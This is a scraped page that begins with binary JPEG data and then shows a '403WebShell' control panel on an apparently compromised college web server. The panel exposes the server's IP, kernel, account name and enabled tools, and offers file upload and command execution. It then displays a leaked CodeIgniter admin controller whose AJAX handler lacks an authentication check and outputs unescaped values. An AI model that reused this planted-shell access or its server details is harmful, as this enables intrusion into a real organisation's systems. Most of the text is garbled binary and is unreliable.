JFIFXX    $.' ",#(7),01444'9=82<.342  2!!22222222222222222222222222222222222222222222222222"4 ,PG"Z_4˷kjزZ,F+_z,© zh6٨icfu#ډb_N?wQ5-~I8TK<5oIv-k_U_~bMdӜUHh?]EwQk{_}qFW7HTՑYF?_'ϔ_Ջt=||I 6έ"D/[k9Y8ds|\Ҿp6Ҵ].6znopM[mei$[soᘨ˸ nɜG-ĨUycP3.DBli;hjx7Z^NhN3u{:jx힞#M&jL P@_ P&o89@Sz6t7#Oߋ s}YfTlmrZ)'Nk۞pw\Tȯ?8`Oi{wﭹW[r Q4F׊3m&L=h3z~#\l :F,j@ ʱwQT8"kJO6֚l}R>ډK]y&p}b;N1mr$|7>e@BTM*-iHgD) Em|ؘbҗaҾt4oG*oCNrPQ@z,|?W[0:n,jWiEW$~/hp\?{(0+Y8rΟ+>S-SVN;}s?. w9˟<Mq4Wv'{)01mBVW[8/< %wT^5b)iM pgN&ݝVO~qu9 !J27$O-! :%H ـyΠM=t{!S oK8txA& j0 vF Y|y ~6@c1vOpIg4lODL Rcj_uX63?nkWyf;^*B @~a`Eu+6L.ü>}y}_O6͐:YrGXkGl^w~㒶syIu! W XN7BVO!X2wvGRfT#t/?%8^WaTGcLMI(J1~8?aT ]ASE(*E} 2#I/׍qz^t̔bYz4xt){ OH+(EA&NXTo"XC')}Jzp ~5}^+6wcQ|LpdH}(.|kc4^"Z?ȕ a<L!039C EuCFEwç ;n?*oB8bʝ'#RqfM}7]s2tcS{\icTx;\7KPʇ Z O-~c>"?PEO8@8GQgaՎ󁶠䧘_%#r>1zaebqcPѵn#L =׀t L7`VA{C:ge@w1 Xp3c3ġpM"'-@n4fGB3DJ8[JoߐgK)ƛ$ 83+ 6ʻ SkI*KZlT _`?KQKdB`s}>`*>,*@JdoF*弝O}ks]yߘc1GV<=776qPTtXԀ!9*44Tހ3XΛex46YD  BdemDa\_l,G/֌7Y](xTt^%GE4}bTڹ;Y)BQu>J/J ⮶.XԄjݳ+Ed r5_D1 o Bx΢#<W8R6@gM. drD>(otU@x=~v2 ӣdoBd3eO6㣷ݜ66YQz`S{\P~z m5{J/L1xO\ZFu>ck#&:`$ai>2ΔloF[hlEܺΠk:)` $[69kOw\|8}ބ:񶐕IA1/=2[,!.}gN#ub ~݊}34qdELc$"[qU硬g^%B zrpJru%v\h1Yne`ǥ:gpQM~^Xi `S:V29.PV?Bk AEvw%_9CQwKekPؠ\;Io d{ ߞoc1eP\ `E=@KIRYK2NPlLɀ)&eB+ь( JTx_?EZ }@ 6U뙢طzdWIn` D噥[uV"G&Ú2g}&m?ċ"Om# {ON"SXNeysQ@FnVgdX~nj]J58up~.`r\O,ư0oS _Ml4kv\JSdxSW<AeIX$Iw:Sy›R9Q[,5;@]%u@ *rolbI  +%m:͇ZVủθau,RW33 dJeTYE.Mϧ-oj3+yy^cVO9NV\nd1 !͕_)av;թMlWR1)ElP;yوÏu 3k5Pr6<⒲l!˞*u־n!l:UNW %Chx8vL'X@*)̮ˍ D-M+JUkvK+x8cY?Ԡ~3mo|u@[XeYC\Kpx8oCC&N~3-H MXsu<`~"WL$8ξ3a)|:@m\^`@ҷ)5p+6p%i)P Mngc#0AruzRL+xSS?ʮ}()#tmˇ!0}}y$6Lt;$ʳ{^6{v6ķܰgVcnn ~zx«,2u?cE+ȘH؎%Za)X>uWTzNyosFQƤ$*&LLXL)1" LeOɟ9=:tZcŽY?ӭVwv~,Yrۗ|yGaFC.+ v1fήJ]STBn5sW}y$~z'c 8  ,! pVNSNNqy8z˱A4*'2n<s^ǧ˭PJޮɏUGLJ*#i}K%,)[z21z ?Nin1?TIR#m-1lA`fT5+ܐcq՝ʐ,3f2Uեmab#ŠdQy>\)SLYw#.ʑf ,"+w~N'cO3FN<)j&,- љ֊_zSTǦw>?nU仆Ve0$CdrP m׈eXmVu L.bֹ [Դaզ*\y8Է:Ez\0KqC b̘cөQ=0YsNS.3.Oo:#v7[#߫ 5܎LEr49nCOWlG^0k%;YߝZǓ:S#|}y,/kLd TA(AI$+I3;Y*Z}|ӧOdv..#:nf>>ȶITX 8y"dR|)0=n46ⲑ+ra ~]R̲c?6(q;5% |uj~z8R=XIV=|{vGj\gcqz؋%Mߍ1y#@f^^>N#x#۹6Y~?dfPO{P4Vu1E1J *|%JN`eWuzk M6q t[ gGvWIGu_ft5j"Y:Tɐ*; e54q$C2d} _SL#mYpO.C;cHi#֩%+) ӍƲVSYźg |tj38r|V1#;.SQA[S#`n+$$I P\[@s(EDzP])8G#0B[ىXIIq<9~[Z멜Z⊔IWU&A>P~#dp]9 "cP Md?٥Ifتuk/F9c*9Ǎ:ØFzn*@|Iށ9N3{'['ͬҲ4#}!V Fu,,mTIkv C7vB6kT91*l '~ƞFlU'M ][ΩũJ_{iIn$L jOdxkza۪#EClx˘oVɞljr)/,߬hL#^Lф,íMƁe̩NBLiLq}(q6IçJ$WE$:=#(KBzђ xlx?>Պ+>W,Ly!_DŌlQ![ SJ1ƐY}b,+Loxɓ)=yoh@꥟/Iѭ=Py9 ۍYӘe+pJnϱ?V\SO%(t =?MR[Șd/ nlB7j !;ӥ/[-A>dNsLj ,ɪv=1c.SQO3UƀܽE̻9GϷD7(}Ävӌ\y_0[w <΍>a_[0+LF.޺f>oNTq;y\bՃyjH<|q-eɏ_?_9+PHp$[uxK wMwNی'$Y2=qKBP~Yul:[<F12O5=d]Ysw:ϮEj,_QXz`H1,#II dwrP˂@ZJVy$\y{}^~[:NߌUOdؾe${p>G3cĖlʌ ת[`ϱ-WdgIig2 }s ؤ(%#sS@~3XnRG~\jc3vӍLM[JBTs3}jNʖW;7ç?=XF=-=qߚ#='c7ڑWI(O+=:uxqe2zi+kuGR0&eniT^J~\jyp'dtGsO39* b#Ɋ p[BwsT>d4ۧsnvnU_~,vƜJ1s QIz)(lv8MU=;56Gs#KMP=LvyGd}VwWBF'à ?MHUg2 !p7Qjڴ=ju JnA suMeƆҔ!)'8Ϣٔޝ(Vpצ֖d=ICJǠ{qkԭ߸i@Ku|p=..*+xz[Aqġ#s2aƊRR)*HRsi~a &fMP-KL@ZXy'x{}Zm+:)) IJ-iu ܒH'L(7yGӜq j 6ߌg1go,kرtY?W,pefOQS!K۟cҒA|սj>=⬒˧L[ ߿2JaB~Ru:Q] 0H~]7ƼI(}cq 'ήETq?fabӥvr )o-Q_'ᴎoK;Vo%~OK *bf:-ťIR`B5!RB@ï u ̯e\_U_ gES3QTaxU<~c?*#]MW,[8Oax]1bC|踤Plw5V%){t<d50iXSUm:Z┵i"1^B-PhJ&)O*DcWvM)}Pܗ-q\mmζZ-l@}aE6F@&Sg@ݚM ȹ 4#p\HdYDoH"\..RBHz_/5˘6KhJRPmƶim3,#ccoqa)*PtRmk7xDE\Y閣_X<~)c[[BP6YqS0%_;Àv~| VS؇ 'O0F0\U-d@7SJ*z3nyPOm~P3|Yʉr#CSN@ ƮRN)r"C:: #qbY. 6[2K2uǦHYRQMV G$Q+.>nNHq^ qmMVD+-#*U̒ p욳u:IBmPV@Or[b= 1UE_NmyKbNOU}the`|6֮P>\2PVIDiPO;9rmAHGWS]J*_G+kP2KaZH'KxWMZ%OYDRc+o?qGhmdSoh\D|:WUAQc yTq~^H/#pCZTI1ӏT4"ČZ}`w#*,ʹ 0i課Om*da^gJ݅{le9uF#Tֲ̲ٞC"qߍ ոޑo#XZTp@ o8(jdxw],f`~|,s^f1t|m򸄭/ctr5s79Q4H1꠲BB@l9@C+wpxu£Yc9?`@#omHs2)=2.ljg9$YS%*LRY7Z,*=䷘$armoϰUW.|rufIGwtZwo~5 YյhO+=8fF)W7L9lM̘·Y֘YLf큹pRF99.A "wz=E\Z'a 2Ǚ#;'}G*l^"q+2FQ hjkŦ${ޮ-T٭cf|3#~RJt$b(R(rdx >U b&9,>%E\ Άe$'q't*אެb-|dSBOO$R+H)܎K1m`;J2Y~9Og8=vqD`K[F)k[1m޼cn]skz$@)!I x՝"v9=ZA=`Ɠi :E)`7vI}dYI_ o:obo 3Q&D&2= Ά;>hy.*ⅥSӬ+q&j|UƧ}J0WW< ۋS)jQRjƯrN)Gű4Ѷ(S)Ǣ8iW52No˓ ۍ%5brOnL;n\G=^UdI8$&h'+(cȁ߫klS^cƗjԌEꭔgFȒ@}O*;evWVYJ\]X'5ղkFb 6Ro՜mi Ni>J?lPmU}>_Z&KKqrIDՉ~q3fL:Se>E-G{L6pe,8QIhaXaUA'ʂs+טIjP-y8ۈZ?J$WP Rs]|l(ԓsƊio(S0Y 8T97.WiLc~dxcE|2!XKƘਫ਼$((6~|d9u+qd^389Y6L.I?iIq9)O/뚅OXXVZF[یgQLK1RҖr@v#XlFНyS87kF!AsM^rkpjPDyS$Nqnxҍ!Uf!ehi2m`YI9r6 TFC}/y^Η5d'9A-J>{_l+`A['յϛ#w:݅%X}&PStQ"-\縵/$ƗhXb*yBS;Wջ_mcvt?2}1;qSdd~u:2k52R~z+|HE!)Ǟl7`0<,2*Hl-x^'_TVgZA'j ^2ΪN7t?w x1fIzC-ȖK^q;-WDvT78Z hK(P:Q- 8nZ܃e貾<1YT<,"6{/ ?͟|1:#gW>$dJdB=jf[%rE^il:BxSּ1հ,=*7 fcG#q eh?27,!7x6nLC4x},GeǝtC.vS F43zz\;QYC,6~;RYS/6|25vTimlv& nRh^ejRLGf? ۉҬܦƩ|Ȱ>3!viʯ>vオX3e_1zKȗ\qHS,EW[㺨uch⍸O}a>q6n6N6qN ! 1AQaq0@"2BRb#Pr3C`Scst$4D%Td ?Na3mCwxAmqmm$4n淿t'C"wzU=D\R+wp+YT&պ@ƃ3ޯ?AﶂaŘ@-Q=9Dռѻ@MVP܅G5fY6# ?0UQ,IX(6ڵ[DIMNލc&υj\XR|,4 jThAe^db#$]wOӪ1y%LYm뭛CUƃߜ}Cy1XνmF8jI]HۺиE@Ii;r8ӭVFՇ| &?3|xBMuSGe=Ӕ#BE5GY!z_eqр/W>|-Ci߇t1ޯќdR3ug=0 5[?#͏qcfH{ ?u=??ǯ}ZzhmΔBFTWPxs}G93 )gGR<>r h$'nchPBjJҧH -N1N?~}-q!=_2hcMlvY%UE@|vM2.Y[|y"EïKZF,ɯ?,q?vM 80jx";9vk+ ֧ ȺU?%vcVmA6Qg^MA}3nl QRNl8kkn'(M7m9وq%ޟ*h$Zk"$9: ?U8Sl,,|ɒxH(ѷGn/Q4PG%Ա8N! &7;eKM749R/%lc>x;>C:th?aKXbheᜋ^$Iհ hr7%F$EFdt5+(M6tÜUU|zW=aTsTgdqPQb'm1{|YXNb P~F^F:k6"j! Ir`1&-$Bevk:y#ywI0x=D4tUPZHڠ底taP6b>xaQ# WeFŮNjpJ* mQN*I-*ȩFg3 5Vʊɮa5FO@{NX?H]31Ri_uѕ 0 F~:60p͈SqX#a5>`o&+<2D: ڝ$nP*)N|yEjF5ټeihyZ >kbHavh-#!Po=@k̆IEN@}Ll?jO߭ʞQ|A07xwt!xfI2?Z<ץTcUj]陎Ltl }5ϓ$,Omˊ;@OjEj(ا,LXLOЦ90O .anA7j4 W_ٓzWjcBy՗+EM)dNg6y1_xp$Lv:9"zpʙ$^JԼ*ϭo=xLj6Ju82AH3$ٕ@=Vv]'qEz;I˼)=ɯx /W(Vp$ mu񶤑OqˎTr㠚xsrGCbypG1ߠw e8$⿄/M{*}W]˷.CK\ުx/$WPwr |i&}{X >$-l?-zglΆ(FhvS*b߲ڡn,|)mrH[a3ר[13o_U3TC$(=)0kgP u^=4 WYCҸ:vQרXàtkm,t*^,}D* "(I9R>``[~Q]#afi6l86:,ssN6j"A4IuQ6E,GnHzSHOuk5$I4ؤQ9@CwpBGv[]uOv0I4\yQѸ~>Z8Taqޣ;za/SI:ܫ_|>=Z8:SUIJ"IY8%b8H:QO6;7ISJҌAά3>cE+&jf$eC+z;V rʺmyeaQf&6ND.:NTvm<- uǝ\MvZYNNT-A>jr!SnO 13Ns%3D@`ܟ 1^c< aɽ̲Xë#w|ycW=9I*H8p^(4՗karOcWtO\ƍR8'KIQ?5>[}yUײ -h=% qThG2)"ו3]!kB*pFDlA,eEiHfPs5H:Փ~H0DتDIhF3c2E9H5zԑʚiX=:mxghd(v׊9iSOd@0ڽ:p5h-t&Xqӕ,ie|7A2O%PEhtjY1wЃ!  ࢽMy7\a@ţJ 4ȻF@o̒?4wx)]P~u57X 9^ܩU;Iꭆ 5 eK27({|Y׎ V\"Z1 Z}(Ǝ"1S_vE30>p; ΝD%xW?W?vo^Vidr[/&>~`9Why;R ;;ɮT?r$g1KACcKl:'3 cﳯ*"t8~l)m+U,z`(>yJ?h>]vЍG*{`;y]IT ;cNUfo¾h/$|NS1S"HVT4uhǜ]v;5͠x'C\SBplh}N ABx%ޭl/Twʽ]D=Kžr㻠l4SO?=k M: cCa#ha)ѐxcsgPiG{+xQI= zԫ+ 8"kñj=|c yCF/*9жh{ ?4o kmQNx;Y4膚aw?6>e]Qr:g,i"ԩA*M7qB?ӕFhV25r[7 Y }LR}*sg+xr2U=*'WSZDW]WǞ<叓{$9Ou4y90-1'*D`c^o?(9uݐ'PI& fJݮ:wSjfP1F:X H9dԯ˝[_54 }*;@ܨ ðynT?ןd#4rGͨH1|-#MrS3G3).᧏3vz֑r$G"`j 1tx0<ƆWh6y6,œGagAyb)hDß_mü gG;evݝnQ C-*oyaMI><]obD":GA-\%LT8c)+y76oQ#*{(F⽕y=rW\p۩cA^e6KʐcVf5$'->ՉN"F"UQ@fGb~#&M=8טJNu9D[̤so~ G9TtW^g5y$bY'سǴ=U-2 #MCt(i lj@Q 5̣i*OsxKf}\M{EV{υƇ);HIfeLȣr2>WIȂ6ik 5YOxȺ>Yf5'|H+98pjn.OyjY~iw'l;s2Y:'lgꥴ)o#'SaaKZ m}`169n"xI *+ }FP"l45'ZgE8?[X7(.Q-*ތL@̲v.5[=t\+CNܛ,gSQnH}*FG16&:t4ُ"Ạ$b |#rsaT ]ӽDP7ո0y)e$ٕvIh'QEAm*HRI=: 4牢) %_iNݧl] NtGHL ɱg<1V,J~ٹ"KQ 9HS9?@kr;we݁]I!{ @G["`J:n]{cAEVʆ#U96j#Ym\qe4hB7Cdv\MNgmAyQL4uLjj9#44tl^}LnR!t±]rh6ٍ>yҏNfU  Fm@8}/ujb9he:AyծwGpΧh5l}3p468)Udc;Us/֔YX1O2uqs`hwgr~{ RmhN؎*q 42*th>#E#HvOq}6e\,Wk#Xb>p}դ3T5†6[@Py*n|'f֧>lư΂̺SU'*qp_SM 'c6m ySʨ;MrƋmKxo,GmPAG:iw9}M(^V$ǒѽ9| aJSQarB;}ٻ֢2%Uc#gNaݕ'v[OY'3L3;,p]@S{lsX'cjwk'a.}}& dP*bK=ɍ!;3ngΊUߴmt'*{,=SzfD Ako~Gaoq_mi}#mPXhύmxǍ΂巿zfQc|kc?WY$_Lvl߶c`?ljݲˏ!V6UЂ(A4y)HpZ_x>eR$/`^'3qˏ-&Q=?CFVR DfV9{8gnh(P"6[D< E~0<@`G6Hгcc cK.5DdB`?XQ2ٿyqo&+1^ DW0ꊩG#QnL3c/x 11[yxპCWCcUĨ80me4.{muI=f0QRls9f9~fǨa"@8ȁQ#cicG$Gr/$W(WV"m7[mAmboD j۳ l^kh׽ # iXnveTka^Y4BNĕ0 !01@Q"2AaPq3BR?@4QT3,㺠W[=JKϞ2r^7vc:9 EߴwS#dIxu:Hp9E! V 2;73|F9Y*ʬFDu&y؟^EAA(ɩ^GV:ݜDy`Jr29ܾ㝉[E;FzxYGUeYC v-txIsםĘqEb+P\ :>iC';k|zرny]#ǿbQw(r|ӹs[D2v-%@;8<a[\o[ϧwI!*0krs)[J9^ʜp1) "/_>o<1AEy^C`x1'ܣnps`lfQ):lb>MejH^?kl3(z:1ŠK&?Q~{ٺhy/[V|6}KbXmn[-75q94dmc^h X5G-}دBޟ |rtMV+]c?-#ڛ^ǂ}LkrOu>-Dry D?:ޞUǜ7V?瓮"#rչģVR;n/_ ؉vݶe5db9/O009G5nWJpA*r9>1.[tsFnQ V 77R]ɫ8_0<՜IFu(v4Fk3E)N:yڮeP`1}$WSJSQNjٺ޵#lј(5=5lǏmoWv-1v,Wmn߀$x_DȬ0¤#QR[Vkzmw"9ZG7'[=Qj8R?zf\a=OU*oBA|G254 p.w7  &ξxGHp B%$gtЏ򤵍zHNuЯ-'40;_3 !01"@AQa2Pq#3BR?ʩcaen^8F<7;EA{EÖ1U/#d1an.1ě0ʾRh|RAo3m3 % 28Q yφHTo7lW>#i`qca m,B-j݋'mR1Ήt>Vps0IbIC.1Rea]H64B>o]($Bma!=?B KǾ+Ծ"nK*+[T#{EJSQs5:U\wĐf3܆&)IԆwE TlrTf6Q|Rh:[K zc֧GC%\_a84HcObiؖV7H )*ģK~Xhչ04?0 E<}3#u? |gS6ꊤ|I#Hڛ աwX97Ŀ%SLy6č|Fa 8b$sקhb9RAu7˨pČ_\*w묦F 4D~f|("mNKiS>$d7SlA/²SL|6N}S˯g]6; #. 403WebShell
403Webshell
Server IP : 43.205.77.33  /  Your IP : 216.73.216.84
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els13.x86_64 #1 SMP Fri Nov 22 06:29:45 UTC 2024 x86_64
User : dbcollege ( 1086)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/dbcollege/www/cas/application/controllers/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/dbcollege/www/cas/application/controllers/admin/OBESConfig.php
<?php

/**
 * Controller For Handling All Requests Related To OBES Configuration
 *
 * @author Softpro India Pvt. Ltd.
 */
defined('BASEPATH') OR exit('No direct script access allowed');

class OBESConfig extends CI_Controller {

    public function __construct() {
        parent::__construct();
        $this->load->model("admin/OBESManagement");
        $this->load->model("admin/CourseManagement");
        $this->load->model("admin/SubjectManagement");
        $this->load->model("admin/SessionManagement");
    }

    public function index() {
        if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) {
            $viewdata["criteria"] = $this->OBESManagement->getAllCriteria()->result();
            $this->load->view("admin/obes/criteria", $viewdata);
        } else {
            redirect("admin/");
        }
    }

    public function createCriteria() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $this->load->view("admin/obes/createCriterion");
        } else {
            redirect("admin/");
        }
    }

    public function saveNewCriteria() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $this->form_validation->set_rules("cr_name", "Criteria Name", "trim|required", array("required" => "Criteria Name Is Required."));
            $this->form_validation->set_rules("cr_marks", "Criteria Marks", "trim|required|numeric", array("required" => "Criteria Marks Is Required."));
            $this->form_validation->set_rules("cr_order", "Criteria Order", "trim|required|numeric", array("required" => "Criteria Order Is Required."));
            $criteriaInfoByName = $this->OBESManagement->getCriteriaByName(trim($this->input->post("cr_name")))->result();
            $criteriaInfoByOrder = $this->OBESManagement->getCriteriaByOrder(trim($this->input->post("cr_order")))->result();
            if ($this->form_validation->run() == false) {
                $this->createCriteria();
            } else if (sizeof($criteriaInfoByName)) {
                $this->session->set_flashdata("errorMessage", "Entered Criteria (" . addslashes(trim($this->input->post("cr_name"))) . ") Already Exist. Please Choose A Different Criteria Name.");
                $this->createCriteria();
            } else if (sizeof($criteriaInfoByOrder)) {
                $this->session->set_flashdata("errorMessage", "Entered Criteria Order Is Already In Use. Please Enter A Different Order.");
                $this->createCriteria();
            } else {
                $newCriteriaInfo = array(
                    "cr_name" => addslashes(trim($this->input->post("cr_name"))),
                    "cr_marks" => trim($this->input->post("cr_marks")),
                    "cr_order" => trim($this->input->post("cr_order")),
                    "cr_added_by" => $this->session->userdata("adminData")["smember_id"],
                    "cr_added_on" => date("Y-m-d H:i:s"),
                    "cr_update_by" => $this->session->userdata("adminData")["smember_id"],
                    "cr_update_on" => date("Y-m-d H:i:s")
                );
                if ($cr_id = $this->OBESManagement->createNewCriteria($newCriteriaInfo)) {
                    $this->session->set_flashdata("successMessage", "Criteria Created Successfully.");
                    redirect("admin/OBESConfig");
                } else {
                    $this->session->set_flashdata("errorMessage", "An Error Occured While Creating Criteria. Try Later.");
                    $this->createCriteria();
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function editCriteria($cr_id) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $viewData["route"] = $this->OBESManagement->getCriteriaById($cr_id)->result()[0];
            $this->load->view("admin/obes/editCriterion", $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function updateCriteria() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $cr_id = trim($this->input->post("cr_id"));
            $this->form_validation->set_rules("cr_name", "Criteria name", "trim|required", array("required" => "Criteria Name Is Required."));
            $this->form_validation->set_rules("cr_marks", "Criteria Marks", "trim|required|numeric", array("required" => "Criteria Marks Is Required."));
            $this->form_validation->set_rules("cr_order", "Criteria Order", "trim|required|numeric", array("required" => "Criteria Order Is Required."));
            if ($this->form_validation->run() == false) {
                $this->editCriteria($cr_id);
            } else if (!$this->OBESManagement->isCriteriaNameSafeUpdate($cr_id, addslashes(trim($this->input->post('cr_name'))))) {
                $this->session->set_flashdata("errorMessage", "Entered Criteria (" . addslashes(trim($this->input->post("cr_name"))) . ") Already Exist. Please Choose Different Criteria Name.");
                $this->editCriteria($cr_id);
            } else if (!$this->OBESManagement->isCriteriaOrderSafeUpdate($cr_id, addslashes(trim($this->input->post('cr_order'))))) {
                $this->session->set_flashdata("errorMessage", "Entered Criteria Order Already Exist.");
                $this->editCriteria($cr_id);
            } else {
                $criteriaDetails = array(
                    "cr_name" => addslashes(trim($this->input->post("cr_name"))),
                    "cr_marks" => trim($this->input->post("cr_marks")),
                    "cr_order" => trim($this->input->post("cr_order")),
                    "cr_update_on" => date("Y-m-d H:i:s"),
                    "cr_update_by" => $this->session->userdata("adminData")["smember_id"]
                );
                if ($this->OBESManagement->updateCriteriaInfo($criteriaDetails, $cr_id)) {
                    $this->session->set_flashdata("successMessage", "Criteria Updated Successfully.");
                    redirect("admin/OBESConfig");
                } else {
                    $this->session->set_flashdata("errorMessage", "An Error Occured While Updating Criteria. Try Later.");
                    redirect(current_url());
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function toggleCriteriaStatus($cr_id, $changedStatus) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $criteriaData = array(
                'cr_update_on' => date("Y-m-d H:i:s"),
                'cr_update_by' => $this->session->userdata("adminData")["smember_id"],
                'cr_active_status' => $changedStatus
            );
            if ($this->OBESManagement->updateCriteriaInfo($criteriaData, $cr_id)) {
                $this->session->set_flashdata('successMessage', 'Criteria Status Updated Successfully.');
                redirect("admin/OBESConfig");
            } else {
                $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating Criteria Status. Try Later.');
                redirect(current_url());
            }
        } else {
            redirect("admin/");
        }
    }

    public function toggleCriteriaDeleteStatus($cr_id, $changeStatus) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $routeUpdateData = array(
                'cr_update_on' => date("Y-m-d H:i:s"),
                'cr_update_by' => $this->session->userdata("adminData")["smember_id"],
                'cr_delete_status' => $changeStatus
            );
            if ($this->OBESManagement->updateCriteriaInfo($routeUpdateData, $cr_id)) {
                $this->session->set_flashdata('successMessage', 'Criteria Delete Status Updated Successfully.');
                redirect("admin/OBESConfig");
            } else {
                $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating Delete Status Of Criteria. Try Later.');
                redirect(current_url());
            }
        } else {
            redirect("admin/");
        }
    }

    /* Request Handlers For Sub-Criterias */

    public function subCriteria() {
        if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) {
            $viewdata["subCriteria"] = $this->OBESManagement->getAllSubCriteria()->result();
            $this->load->view("admin/obes/subCriteria", $viewdata);
        } else {
            redirect("admin/");
        }
    }

    public function createSubCriteria() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $viewdata["criteria"] = $this->OBESManagement->getAllNonDeletedCriteria()->result();
            $this->load->view("admin/obes/createSubCriteria", $viewdata);
        } else {
            redirect("admin/");
        }
    }

    public function saveNewSubCriteria() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $this->form_validation->set_rules("cr_name", "Criteria", "trim|required", array("required" => "Please Select Any Criteria."));
            $this->form_validation->set_rules("csm_name", "Sub Criteria Name", "trim|required", array("required" => "Enter Sub-Criteria Name."));
            $this->form_validation->set_rules("csm_marks", "Sub Criteria Marks", "trim|required|numeric", array("required" => "Enter Sub-Criteria Marks."));
            $subCriteriaInfoByName = $this->OBESManagement->getSubCriteriaInfoByName(addslashes(trim($this->input->post("csm_name"))))->result();
            if ($this->form_validation->run() == false) {
                $this->createSubCriteria();
            } else if (sizeof($subCriteriaInfoByName)) {
                $this->session->set_flashdata("errorMessage", "Entered Sub-Criteria (" . addslashes(trim($this->input->post("csm_name"))) . ") Already Exist. Please Choose Different Sub-Criteria Name.");
                $this->createSubCriteria();
            } else {
                $newSubCriteriaInfo = array(
                    "cr_id" => trim($this->input->post("cr_name")),
                    "csm_name" => addslashes(trim($this->input->post("csm_name"))),
                    "csm_marks" => trim($this->input->post("csm_marks")),
                    "csm_added_by" => $this->session->userdata("adminData")["smember_id"],
                    "csm_added_on" => date("Y-m-d H:i:s"),
                    "csm_update_by" => $this->session->userdata("adminData")["smember_id"],
                    "csm_update_on" => date("Y-m-d H:i:s")
                );
                if ($this->OBESManagement->createNewSubCriteria($newSubCriteriaInfo)) {
                    $this->session->set_flashdata("successMessage", "Sub-Criteria Created Successfully.");
                    redirect("admin/OBESConfig/subCriteria");
                } else {
                    $this->session->set_flashdata("errorMessage", "An Error Occured While Creating Sub-Criteria. Try Later.");
                    redirect(current_url());
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function editSubCriteria($csm_id) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $viewData["subCriteriaInfo"] = $this->OBESManagement->getSubCriteriaById($csm_id)->result()[0];
            $viewData["criteria"] = $this->OBESManagement->getAllNonDeletedCriteria()->result();
            $this->load->view("admin/obes/editSubCriteria", $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function updateSubCriteria() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $csm_id = addslashes(trim($this->input->post("csm_id")));
            $this->form_validation->set_rules("csm_name", "Criteria name", "trim|required", array("required" => "Enter Sub Criteria Name."));
            $this->form_validation->set_rules("csm_marks", "Marks", "trim|required|numeric", array("required" => "Enter Sub Criteria marks"));
            if ($this->form_validation->run() == false) {
                $this->editSubCriteria($csm_id);
            } else if (!$this->OBESManagement->isSubCriteriaNameSafeUpdate($csm_id, addslashes(trim($this->input->post('csm_name'))))) {
                $this->session->set_flashdata("errorMessage", "Entered Sub Criteria (" . addslashes(trim($this->input->post('csm_name'))) . ") Already Exist. Please Choose A Different Sub-Criteria Name.");
                $this->editSubCriteria($csm_id);
            } else {
                $subCriteriaUpdateInfo = array(
                    "cr_id" => trim($this->input->post('cr_name')),
                    "csm_name" => addslashes(trim($this->input->post('csm_name'))),
                    "csm_marks" => trim($this->input->post('csm_marks')),
                    "csm_update_on" => date("Y-m-d H:i:s"),
                    "csm_update_by" => $this->session->userdata("adminData")["smember_id"]
                );
                if ($this->OBESManagement->updateSubCriteriaInfo($subCriteriaUpdateInfo, $csm_id)) {
                    $this->session->set_flashdata("successMessage", "Sub-Criteria Updated Successfully.");
                    redirect("admin/OBESConfig/subCriteria");
                } else {
                    $this->session->set_flashdata("errorMessage", "An Error Occured While Updating Sub-Criteria. Try Later.");
                    redirect(current_url());
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function toggleSubCriteriaStatus($csm_id, $toUpdateStatus) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $criteriaData = array(
                'csm_update_on' => date("Y-m-d H:i:s"),
                "csm_update_by" => $this->session->userdata("adminData")["smember_id"],
                'csm_active_status' => $toUpdateStatus
            );
            if ($this->OBESManagement->updateSubCriteriaInfo($criteriaData, $csm_id)) {
                $this->session->set_flashdata('successMessage', 'Sub-Criteria Status Updated Successfully.');
                redirect("admin/OBESConfig/subCriteria");
            } else {
                $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating Criteria Status. Try Later.');
                redirect(current_url());
            }
        } else {
            redirect("admin/");
        }
    }

    public function toggleSubCriteriaDeleteStatus($csm_id, $toUpdateStatus) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $csmUpdateData = array(
                'csm_update_on' => date("Y-m-d H:i:s"),
                "csm_update_by" => $this->session->userdata("adminData")["smember_id"],
                'csm_delete_status' => $toUpdateStatus
            );
            if ($this->OBESManagement->updateSubCriteriaInfo($csmUpdateData, $csm_id)) {
                $this->session->set_flashdata('successMessage', 'Sub-Criteria Delete Status Updated Successfully.');
                redirect("admin/OBESConfig/subCriteria");
            } else {
                $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating Delete Status Of Sub-Criteria. Try Later.');
                redirect(current_url());
            }
        } else {
            redirect("admin/");
        }
    }

    public function getActiveSubCriteriaByCriteria() {
        $cr_id = $this->input->post("cr_name");
        $csm_id = $this->input->post("csm_id");
        $query = $this->OBESManagement->getAllSubCriteriaUnderGivenCriteria($cr_id);
        $data = $query->result();
        $options = "<option value=''>Select Sub Criteria</option>";
        for ($i = 0; $i < (sizeof($data)); $i++) {
            $selected = ($csm_id == $data[$i]->csm_id) ? "selected" : "";
            $options .= "<option " . $selected . " value=" . $data[$i]->csm_id . ">" . $data[$i]->csm_name . "</option>";
        }
        $responseData = array(
            'csrfName' => $this->security->get_csrf_token_name(),
            'csrfHash' => $this->security->get_csrf_hash(),
            'csm_list' => $options
        );
        echo json_encode($responseData);
    }

